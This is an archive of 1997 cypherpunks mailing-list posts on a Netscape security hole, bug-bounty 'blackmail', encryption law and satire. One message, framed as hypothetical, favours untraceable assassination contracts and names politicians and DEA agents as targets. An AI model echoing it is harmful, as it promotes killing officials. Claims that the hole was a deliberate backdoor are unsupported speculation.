> > Sorry, but we don't have any plans to respin 2.x at this time.  If we
> > get enough requests for it, it might be possible to change our mind,
> > though.
> 
> I still have a copy of MCOM/Netscape Navigator 0.94 around... does the
> bug exist this far back, or am I going to have to start using Cello,
> or something equally obscure?

  SnailMail Version 1.0 will soon be coming out. The product includes
a pen, paper, envelopes and instructions on how to purchase stamps.
  While it does not offer perfect security, the chances are that
the only person who might snoop through it is your postman. Since
he is probably banging your spouse, he's practically a member of
the family, anyway.
  SnailMail Version 1.0 also includes letter-size envelopes so that
you can print out a copy of your Web page and mail it without bending
or folding it.

SnailMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 16 Jun 1997 07:19:18 +0800
To: cypherpunks@toad.com
Subject: SnailMail Ver. 1.0--Content Recovery now available
In-Reply-To: <199706151937.PAA11998@dhp.com>
Message-ID: <v03102800afca2121c48f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:37 PM -0700 6/15/97, lucifer Anonymous Remailer wrote:

>  SnailMail Version 1.0 will soon be coming out. The product includes
>a pen, paper, envelopes and instructions on how to purchase stamps.
>  While it does not offer perfect security, the chances are that
>the only person who might snoop through it is your postman. Since
>he is probably banging your spouse, he's practically a member of
>the family, anyway.
>  SnailMail Version 1.0 also includes letter-size envelopes so that
>you can print out a copy of your Web page and mail it without bending
>or folding it.

A Content Recovery Version (TM) is available from Trusted Disinformation
Systems (TDS), of Fort Meade, Maryland.

"Content Recovery is being demanded by many companies," said TDS President
Walker Harper. "Companies are fearful of not knowing what their employees
are sending, so they want Content Recovery for all outgoing mail. And it
meets the LNLE criteria (legitimate needs of law enforcement)."

TDS has licensed the technology under the tradename "Postcards."


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 16 Jun 1997 07:23:58 +0800
To: cypherpunks@toad.com
Subject: Declan as a Budding Washington Insider
In-Reply-To: <1.5.4.32.19970615204748.006ecaac@pop.pipeline.com>
Message-ID: <v03102801afca23e96bf3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:36 PM -0700 6/15/97, Declan McCullagh wrote:

>Though I do learn a lot of things I can't write about directly. I had
>dinner last week with a senior White House official and an FTC
>commissioner and a bunch of other folks. The condition of the invite was
>not reporting on what was discussed. Yesterday I spent the afternoon with
>folks including a Supreme Court clerk and a Federal judge. Friday evening
>I went to a party with a bunch of Republican heavyweights where we talked
>about what the Senate leadership is doing with the crypto bills.
>

Maybe what John was saying is that you're being co-opted. Brought into the
inner circles, shown the secrets, wined and dined (and whined)...maybe
you'll even be invited to Fort Meade for a screening of the "If you only
knew what we knew" video.

When you have dinner with judges, cops, senators, narcs, and other such
insiders, and much of it is "deep background" (or whatever such briefings
are called), and you have to promise to only spin the story in certain
ways...well, the result is pretty obviously that you're just an outlet for
the agitprop machine.

I'm not saying you've sold out yet; I don't really know you, so I wouldn't
know how vulnerable you are. But you're sure showing all the signs of
becoming just another Washington Insider.

One way they buy people--very reminiscent of the methods used to recruit
spies--is to feed reporters with information they can't get anywhere else,
and swear them to secrecy. This ties them up in complicated webs of trust,
mistrust, and deceit, and makes the reporters more dependent on them for
future stories.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 15 Jun 1997 18:49:02 +0800
Subject: Re: Netscape Update
In-Reply-To: <199706150718.DAA28831@dhp.com>
Message-ID: <Pine.LNX.3.93.970615163723.494B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 15 Jun 1997, lucifer Anonymous Remailer wrote:

[...]

>   Similarly, the government and corporations want systems designed to
> allow them access to all available information passing through the
> internet system and then cry "abuse" or "security bug" when individuals
> discover how to use the design to their advantage.

I don't beleave in this case that it was a intentional feature.  For one
thing if I was creating such a trapdoor in my program, I would make use of
some sort of public key system so that only I could access it.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 16 Jun 1997 05:24:09 +0800
To: t.griffiths@ic.ac.uk
Subject: Re: Democratic Assassination
In-Reply-To: <199706151420.PAA19195@cscmgb.cc.ic.ac.uk>
Message-ID: <Pine.LNX.3.91.970615163902.2415A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> > Speaking entirely hypothetically: If assasination bots were implemented, 
> > and I ran one, I would choose to keep a list of poloticians, DEA cops, 
> > censors etc. and only allow contracts on them, of course, there is 
> > nothing to stop anyone else running a server that accepted bets on 
> > anyone. I would just choose not to allow my equipment to be used for 
> > hiring assasins to kill innocent people. 
>  
>   But by using this system, aren't we removing the concept of what an
> 'innocent' person is anyway? A person 'deserves' to die when enough people
> or money dictates that they should. 

I believe in this sense a DAP system would be a bad thing, but anonymous 
digital contracts in the more direct sense (ie. just a normal 
assasination contract as agreed today in meatspace, but using digital 
cash and other systems to make payments untraceable) are a better option 
as they remove this democratic side to the killings (although the 
democratic method prevents frivolous killings).
I am not at all saying that a person "deserves" to die when enough people 
say they should, but merely describing the situation. It is currently the 
case that when someone becomes A. unpopular enough in public opinion, or 
B. unpopular with someone with a lot of money, they stand a chance of 
being killed for this.

> Effectively you're censoring votes
> for the assasination of a person who you don't feel deserves it - no matter
> how many people donate money to that cause.
> This destroys the whole 'democratic' idea of what this ideas about.

Whoa there! An assasination bot and the hardware it ran on would be 
private property, I can choose to censor whatever the hell I want on 
private property. I personally would not run an AP type bot that 
democratised the process of assasination, as I have said I favour the 
probable outcome of a more direct contract system, but whether I did or 
not it is my decision who I accept bets on. If I choose to only accept 
bets on innocent children and old ladies, that is my own decision on my 
own property. Business suceeds through reputation, remember the basic 
principles of the free market...

> Also, how do you tell the difference between an 'evil' and 'innocent'
> DEA cop?

ROFL, the very notion of an innocent DEA cop is a joke...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 16 Jun 1997 05:05:56 +0800
To: "David E. Smith" <dave@bureau42.ml.org>
Subject: Re: Impact of Netscape kernel hole
Message-ID: <1.5.4.32.19970615204748.006ecaac@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Dave Smith wrote:

>I still have a copy of MCOM/Netscape Navigator 0.94 around... does the
>bug exist this far back, or am I going to have to start using Cello,
>or something equally obscure?

Dave suggests the key to Netscape's Andreesen's amazing trajectory 
from lab rat gizmoid to market leader, while others languish uncompensated,
at least just yet. 

It's Mark's changeable feature for peeking and tracking, approved by law for 
orderly commerce. "Bugs bounty" is the make light of it charade, while
"bug" is the venerable hardware name.

Find the first few, sure, that's for easy diversion, find those somewhat
deeper, those're for sweeping by the seasoned pros. Then there are those 
that are never found, the ones that always tell what's needed to know in 
national emergency but can never be revealed.

Perhaps any day now MS and NSCP will morph to push browser GAK, 
claiming that public privacy and secure commerce demand protection from 
cyber-terrorists. 

That's the theme, hey, hey, of the Denver meet of global leaders on 
June 20. Could it be that that's what the Silicon chiefs went to DC to plan 
last week while speechifying contrarily to CNN, C-SPAN and Declan.

Surely, though, bountifully trusty PGP is not party to this G-10 globalization 
of crippled crypto, or at least not its Chief Technology Officer, right?

BTW, Declan's spin on national affairs is starting to smell of pontification
to the
masses, classis sign of "if only you knew what I've been let in on."
Shimomuraism,
that, empty data.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Mon, 16 Jun 1997 09:41:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: We need more surveillance--a morality play about terrorism
Message-ID: <33A482AC.3C0E@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Tim May <tcmay@got.net> wrote:

> I've been watching an HBO movie, "Path to Paradise," about the
> bombing of the World Trade Center in February 1993. It's quite
> well-done, as most HBO movies of this sort are.

Maybe I'll get a TV one of these days. Nah.

> * "You mean Islamic radicals are free to preach their message of
> hate and violence? Unbelievable!" (This is a paraphrase...there
> were several such opinions expressed, where FBI managers express
> outrage that such things are permitted in the U.S.)

I can't even imagine anyone in the FBI saying anything like that. In
the National Security (tm) establishment and local police forces,
yes, but the FBI is pretty professional, and has heard of the First
Amendment. In this case, though, there was the additional issue of
Rachman being an illegal alien. (I'm not a big fan of border controls
of any kind, but I do consider political hostility to the US to be a
legitimate reason for a state to bar someone from entry and residence.
Bleeding hearts aside, poverty and lack of language and job skills
are also legitimate reasons to bar people at the golden door.)

It's fashionable to romanticize the enemy as big national or
supranational thugs, but in reality the corrupt local cop is the
bigger civil liberties threat to most normal people.

On the "other side":

Look, more people died from car accidents in the last 12 days than
died in the bombing of the Murrah Federal Building, and far fewer
still (or was it nobody?) died in the World Trade Center. By the
numbers, terrorism just doesn't deserve the press coverage it gets.
McVeigh would have done better if he'd started an automobile factory.
It worked for Henry Ford; how many copies of The International Jew
and The Protocols of the Elders of Zion did he print with the money
he made, and how long did respectable antisemitism delay the US entry
into WWII? Food for thought. If you really want to influence people
over the long term, make money, not bombs. William Pierce is on the
wrong track.

> * The niceties of getting wiretap orders were treated as ways to
> coddle criminals.

This does happen, and bugs me (so to speak).

> --Tim May, who's sorry he missed the display of firepower at the
> physical meeting today

One of these days I'll make it to the firing range.

You also missed a revealing story over dinner, which probably meant
something different to me than the storyteller intended, but there
it is.

A guy on the way to the shooting range is pulled over for speeding.
The cop notices the guns, orders him out of the car, and asks where
he's going. He answers, "Let me explain the way I think this country
works. I am going wherever I damn well please." So the cop gives him
a speeding ticket, and he continues on his way.

Now tell me, is this evidence that we're living in a police state?

Of course it probably helped that the guy was white, and probably
driving a "decent" car, and carrying "decent" guns and not some
"Saturday Night Special." But still, I don't see the totalitarianism.

While it wasn't covered in human rights school, I don't think the
FBI should sit idly by and let terrorists sponsored by the government
of Iran blow people up, either. And so they didn't sit idly by. They
waited for probable cause. And lost one. Oops. A few random bombings
seems a reasonable price to pay for all our freedoms, though,
especially since it probably couldn't have been prevented in the
first place.

But by all means, keep the paranoia coming. That's what keeps this
country more or less free. Far better to have frogs hopping wild and
free (as God designed them) than sitting in the pot talking about
how nice and warm the water is. Just don't lose it so badly that you
start endorsing the bombing of the World Trade Center and the Murrah
Federal Building, please.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQBVAwUBM6SCkJNcNyVVy0jxAQFWvAH/U8KiLVrrtq/NNSOzJWGPJuP2n7wM/6oU
KvymiZkTRqMS+5WLY5WTomnVCgKcc0IQ9eMDFO0UgJf5vI28YE2VtQ==
=EP88
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Mon, 16 Jun 1997 08:31:42 +0800
To: Tim May <tcmay@got.net>
Subject: Re: e$: Skins vs. Shirts
In-Reply-To: <v03020931afc8ee48fc8f@[139.167.130.246]>
Message-ID: <33A484BE.A14E05F6@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 1:26 AM -0700 6/15/97, Tom Weinstein wrote:
> 
>> Just to be clear, we didn't give the blackmailer any money.  As Mike
>> Homer put it: "We don't bargain with terrorists."
> 
> Netscape wants money for one of their products. I won't give them
> money. "I don't bargain with terrorists."
> 
> (What the Danes offered was a straight buiness deal, albeit made
> weirder and more frantic by the constraints of time, publicity, and
> worldwide attention. Still a business deal, though. When Collabra
> wanted X dollars to be acquired by Netscape, was this also
> "terrorism"? The term "terrorist" hardly applies in business deals.)

If it was just a business deal, that would be okay.  We would have a
right to not pay him.  It becomes blackmail when he says "If you don't
pay me, I will try to damage you."  That's what he did.  He said that
if we didn't pay him, he'd time his press announcement to coincide with
DevCon in order to cause us the maximum damage, which he did.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Mon, 16 Jun 1997 08:29:02 +0800
To: dsmith@prairienet.org
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <Pine.LNX.3.96.970615133246.1608A-100000@bureau42.ml.org>
Message-ID: <33A48666.19B0BE93@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



David E. Smith wrote:
> 
> I still have a copy of MCOM/Netscape Navigator 0.94 around... does the
> bug exist this far back, or am I going to have to start using Cello,
> or something equally obscure?

That version is safe.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 16 Jun 1997 05:52:44 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <1.5.4.32.19970615204748.006ecaac@pop.pipeline.com>
Message-ID: <Pine.GSO.3.95.970615172709.19288B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sun, 15 Jun 1997, John Young wrote:

> That's the theme, hey, hey, of the Denver meet of global leaders on 
> June 20. Could it be that that's what the Silicon chiefs went to DC to plan 
> last week while speechifying contrarily to CNN, C-SPAN and Declan.
> 
> Surely, though, bountifully trusty PGP is not party to this G-10 globalization 
> of crippled crypto, or at least not its Chief Technology Officer, right?
> 
> BTW, Declan's spin on national affairs is starting to smell of pontification
> to the
> masses, classis sign of "if only you knew what I've been let in on."
> Shimomuraism,
> that, empty data.

Really? Can you point to examples? I certainly don't mean to be.

Though I do learn a lot of things I can't write about directly. I had
dinner last week with a senior White House official and an FTC
commissioner and a bunch of other folks. The condition of the invite was
not reporting on what was discussed. Yesterday I spent the afternoon with
folks including a Supreme Court clerk and a Federal judge. Friday evening
I went to a party with a bunch of Republican heavyweights where we talked
about what the Senate leadership is doing with the crypto bills.

If I come across as arrogant or stand-offish, call me on it. But, geez, I
cover this stuff full-time and then some. Sometimes I *do* know stuff that
isn't public. If it's interesting enough, I pursue it, verify it with
folks who can talk on the record, and then write about it.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Mon, 16 Jun 1997 09:39:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Blackmail / Re: e$: Skins vs. Shirts
In-Reply-To: <199706151846.OAA09246@dhp.com>
Message-ID: <v03102801afca3d040d16@[17.128.200.108]>
MIME-Version: 1.0
Content-Type: text/plain



An anonymous correspondant writes about the recent Netscape bug:
>
>  If the people who discovered the flaw had wanted they could have
>chosen to sell their knowledge to Microsoft for probably a very
>substantial sum.
>

I would respectfully maintain that reputable companies (including
Microsoft) do not work this way. If you tell me about a bug in
a Microsoft product, I'll pass it on to Microsoft immediately;
and I know, from personal experience, that Microsoft employees
work in the same way.

Martin Minow
Apple Computer Inc.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 16 Jun 1997 12:29:08 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: Do reporters have special rights the rest of us don't have?
In-Reply-To: <19970613201551.40314@bywater.songbird.com>
Message-ID: <v03102809afca3c163c42@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>It does *not* say "the right of an *individual* to keep and bear arms
>shall not be infringed.  It says "the people", a collective term.  It
>references a *well-regulated* militia.

Subsequent court rulings have left somewhat unclear the meaning of
"well-regulated militia".  At the present this appears to mean citizens, in
general.

>Therefore my interpretation is that according to the constitution,
>there is a broad right for the population to own guns, but that right
>is fundamentally justified through "the security of a free State".
>Use of arms contrary to the security of the state is not justified
>through the second amendment, nor does the second amendment prohibit
>congress or the states from controlling such unjustified use of arms.

I can't agree with "the security of a free State" aspect.  A higher
priority among the signers and states than "the security of a free State"
was freedom.  It was recognized, in the Declaration of Independance, that
it was the people's right to replace government (even through force of
arms) when they felt it had come to tyranny in order ot maintain freedom.

Unjustified to whom?  The State?  How can the state be the best judge of
what is in the best interests of the people in maintaining their freedom?
Seems the State has a conflict of interest and should recuse itself on this
issue.

--Ste5e






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 16 Jun 1997 09:27:46 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Homer on Terrorism
In-Reply-To: <v03020931afc8ee48fc8f@[139.167.130.246]>
Message-ID: <v03102803afca3d1a5715@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:11 PM -0700 6/15/97, Tom Weinstein wrote:
>Tim May wrote:

>> (What the Danes offered was a straight buiness deal, albeit made
>> weirder and more frantic by the constraints of time, publicity, and
>> worldwide attention. Still a business deal, though. When Collabra
>> wanted X dollars to be acquired by Netscape, was this also
>> "terrorism"? The term "terrorist" hardly applies in business deals.)
>
>If it was just a business deal, that would be okay.  We would have a
>right to not pay him.  It becomes blackmail when he says "If you don't
>pay me, I will try to damage you."  That's what he did.  He said that
>if we didn't pay him, he'd time his press announcement to coincide with
>DevCon in order to cause us the maximum damage, which he did.

It's still not "terrorism." Just ordinary high-pressure bargaining, as when
a film star holds out to the last minute on a deal, knowing her value
increases as the deadline approaches.

Or scads of similar examples, as when Netscape or Microsoft time their
announcements for maximum impact.

One can imagine people approaching a company with reports of a bug--as a
certain math professor approached a certain chip company with reports of a
strange FDIV problem--and being given the polite runaround. "Thank you for
sharing. We'll have one of our QA engineers look into your report and maybe
he'll get back to you."

(I have no idea if Netscape reacted in this way, but I can imagine that the
flow of bug reports may cause many to linger in the "In" baskets without
action.)

By reporting the bug to PC Magazine and CNN-FN, the "value" of the bug
information shot up rather dramatically. The Arrhus team may not have
gotten any bucks from Netscape--and may not even get a free "Bugs Bounty"
sweatshirt--but their consulting rates and business have probably both gone
up.

Browsers are big business, and high stakes poker. It's not surprising to me
to see this kind of bluffing and "terorrism" (to quote Homer, with his
rosy-fingered typing). What's surprising is that it hasn't happened more
often, or at least hasn't gotten as much publicity.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Mon, 16 Jun 1997 10:13:46 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Homer on Terrorism
In-Reply-To: <v03020931afc8ee48fc8f@[139.167.130.246]>
Message-ID: <33A49D42.49741BF5@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 5:11 PM -0700 6/15/97, Tom Weinstein wrote:
>> Tim May wrote:
> 
>>> (What the Danes offered was a straight buiness deal, albeit made
>>> weirder and more frantic by the constraints of time, publicity, and
>>> worldwide attention. Still a business deal, though. When Collabra
>>> wanted X dollars to be acquired by Netscape, was this also
>>> "terrorism"? The term "terrorist" hardly applies in business
>>> deals.)
>>
>> If it was just a business deal, that would be okay.  We would have a
>> right to not pay him.  It becomes blackmail when he says "If you
>> don't pay me, I will try to damage you."  That's what he did.  He
>> said that if we didn't pay him, he'd time his press announcement to
>> coincide with DevCon in order to cause us the maximum damage, which
>> he did.
> 
> It's still not "terrorism." Just ordinary high-pressure bargaining, as
> when a film star holds out to the last minute on a deal, knowing her
> value increases as the deadline approaches.

It's blackmail.  IANAL, but I believe that blackmail consists of a
demand, and a threat to harm if the demand is not met.

If he had said:
  "I'm going to go to the press on this date.  You can buy the
   information from me before that for X amount of money."

That would be an ordinary business transaction.  Instead, what he said
was something like:
  "Pay me lots of money or I will go to the press in such a way as to
   damage you the most."

That is blackmail.  It's clear that the money is to prevent the damage,
not just for the information.

> Or scads of similar examples, as when Netscape or Microsoft time their
> announcements for maximum impact.
>
> One can imagine people approaching a company with reports of a bug--as
> a certain math professor approached a certain chip company with
> reports of a strange FDIV problem--and being given the polite
> runaround. "Thank you for sharing. We'll have one of our QA engineers
> look into your report and maybe he'll get back to you."
> 
> (I have no idea if Netscape reacted in this way, but I can imagine
> that the flow of bug reports may cause many to linger in the "In"
> baskets without action.)

As a matter of fact, we responded to him very quickly.  The day after
we heard from him we had a phone call where Jeff Weinstein, Jim Roskind
(Java security), and I were present.  We gave it serious attention as
we do with all security holes.

> By reporting the bug to PC Magazine and CNN-FN, the "value" of the bug
> information shot up rather dramatically. The Arrhus team may not have
> gotten any bucks from Netscape--and may not even get a free "Bugs
> Bounty" sweatshirt--but their consulting rates and business have
> probably both gone up.

He reported it to CNN because he was following through on his threat
when we refused to pay him not to.

> Browsers are big business, and high stakes poker. It's not surprising
> to me to see this kind of bluffing and "terorrism" (to quote Homer,
> with his rosy-fingered typing). What's surprising is that it hasn't
> happened more often, or at least hasn't gotten as much publicity.

"Terrorism" probably doesn't apply, since his aim was not political.
(Or doesn't terrorism have to be political?) I think blackmail is a
more appropriate term.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 16 Jun 1997 10:49:02 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: Homer on Terrorism
In-Reply-To: <v03020931afc8ee48fc8f@[139.167.130.246]>
Message-ID: <v03102804afca53b9a795@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Fair enough. I'm prepared, on the basis of Tom's comments, to accept that
the Danish bug-finders were "blackmailers," albeit of the weakest,
noncriminal sort. (Nobody is suggesting criminal prosecution, extradition,
etc., are they?) But I think the "terrorist" appelation is a bit strong.


At 6:56 PM -0700 6/15/97, Tom Weinstein wrote:

>It's blackmail.  IANAL, but I believe that blackmail consists of a
>demand, and a threat to harm if the demand is not met.

(However, a "threat to harm" is ambiguous. Many business deals involve
mentions of consequences...at what point does this become "blackmail,"
especially the criminal sense of blackmail?)




>If he had said:
>  "I'm going to go to the press on this date.  You can buy the
>   information from me before that for X amount of money."
>
>That would be an ordinary business transaction.  Instead, what he said
>was something like:
>  "Pay me lots of money or I will go to the press in such a way as to
>   damage you the most."
>
>That is blackmail.  It's clear that the money is to prevent the damage,
>not just for the information.

Perhaps so, but things remain ambiguous. More skilled negotiators might be
more circumspect about the "damage" side, only hinting at it. I don't know
if the Danes were clumsy at conveying their intentions. Maybe English was
not their forte.


>"Terrorism" probably doesn't apply, since his aim was not political.
>(Or doesn't terrorism have to be political?) I think blackmail is a
>more appropriate term.

Like I said, but I still think a less inflammatory description than
"terrorist," or even "blackmailer" is better.

There's probably something between "cheerful Berkeley grad students
grateful to get a free t-shirt" and "blackmailer."

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 16 Jun 1997 12:21:55 +0800
To: "Shabbir J. Safdar" <shabbir@vtw.org>
Subject: Current wording of SAFE criminal use provision
In-Reply-To: <v03102802afca1427da78@[10.0.2.15]>
Message-ID: <v03102801afca57bebbaa@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>From Thomas:
http://rs9.loc.gov/cgi-bin/cpquery105/1?cp105:./temp/~cp105mvbg:e7198

--begin
Sec. 2805. Unlawful use of encryption in furtherance of a criminal act

       `Any person who, in the commission of a felony under a criminal
statute of the United States, knowingly and willfully encrypts
incriminating communications or information relating to that felony with
the intent to conceal such communications or information for the purpose of
avoiding detection by law enforcement agencies or prosecution--

	`(1) in the case of a first offense under this section, shall be
imprisoned for not more than 5 years, or
              fined
	in the amount set forth in this title, or both; and

              `(2) in the case of a second or subsequent offense under this
section, shall be imprisoned for not more
	than 10 years, or fined in the amount set forth in this title, or
both.'.

--end

--Ste5e






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Mon, 16 Jun 1997 08:30:28 +0800
To: cypherpunks@Algebra.COM
Subject: online-gamb.htm
Message-ID: <199706160030.UAA03038@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




   interactiveJumpstart Spotlight [1]Phillips Publishing International,
   Inc.
   
Online Gambling Exec Praises Shutdown of Gaming Site

   courtesy: Multimedia Wire
   
   The chairman of an online gambling industry ethics panel praised the
   effort of the Maryland attorney general to close down a gambling Web
   site as an early move to regulate the fledgling online casino
   industry.
   
   Attorney General J. Joseph Curran issued a cease-and-desist order
   against RealTIME Prizes Network for running Prizes.com, a site that
   offers a variety of pay-for-play sweepstakes through customers' credit
   cards or through CyberCash.
   
   Online gambling can be done legally and legitimately, but only by
   working with government regulators, said Kendell Lang, chairman of an
   Interactive Services Association panel devising ethics for online
   casino operators and CEO of CasinoWorld Holdings. RealTIME has "flown
   in the face of regulators and gives the industry a bad name," Lang
   said. "We want to support the attorneys general of each and every
   state to get control of the situation."
   
   Curran targeted RealTIME because its operations are in Silver Spring,
   Md., a spokesman said. The attorney general could take additional
   action if RealTIME were to move to another state and accept business
   from Maryland residents, he added.
   
   Despite the desist order, Prizes.com was still operational yesterday.
   RealTIME was not immediately available for comment.
   
       [2]Home | [3]Free Email Newsletters | [4]Membership Invitation
           [5]Daily Hot News | [6]Marketing & Research | [7]Deals
           [8]Spotlight | [9]Developers Corner | [10]Classifieds
     _________________________________________________________________
   
   (c) Copyrighted material 1997. It is unlawful to copy, reproduce or
   retransmit in any medium or format without written permission from
   Phillips Business Information, Inc.

References

   1. http://www.phillips.com/
   2. http://www.ijumpstart.com/
   3. http://www.ijumpstart.com/freee.htm
   4. http://www.ijumpstart.com/membrinv.htm
   5. http://www.ijumpstart.com/hotnews.htm
   6. http://www.ijumpstart.com/mkt_rsch.htm
   7. http://www.ijumpstart.com/deals.htm
   8. http://www.ijumpstart.com/spotlite.htm
   9. http://www.ijumpstart.com/developr.htm
  10. http://www.ijumpstart.com/class.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 16 Jun 1997 12:18:58 +0800
To: cypherpunks@toad.com
Subject: Re: Homer on Terrorism
Message-ID: <199706160400.VAA09858@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tom Weinstein wrote:
> Tim May wrote:
> > Tom Weinstein wrote:
> >> Tim May wrote:
> >
> >>> (What the Danes offered was a straight buiness deal, albeit made
> >>> weirder and more frantic by the constraints of time, publicity, and
> >>> worldwide attention. Still a business deal, though.)

> what he said
> was something like:
>   "Pay me lots of money or I will go to the press in such a way as to
>    damage you the most."
> 
> That is blackmail.  It's clear that the money is to prevent the damage,
> not just for the information.

  This happens every day in major-league business ballparks. Information
--> is power is --> money. Usually the word "blackmail" surfaces when
one
company takes a shit-kicking from the other company.

  Methinks the reason the word "blackmail" so easily springs to the
lips of Netscape exec's is that they know they got caught with their
pants down.
  They designed their code so that they or John Law could put their
dicks in our hard drives and wiggle them around and now they are
accusing the guy who has "pictures" of their guilt of doing something
dirty.

  Although Netscape is claiming the "high ground" by saying they
don't pay "blackmail," I think it is much more likely that they
didn't need to *pay* for the information because they already
*knew* exactly what the other company had discovered.
  Netscape calls their upcoming patch a "bug fix" when, in reality,
it is the disabling of a "secret feature." Thus I wouldn't be too
quick to accept their definition of "blackmail."

> > Browsers are big business, and high stakes poker. It's not surprising
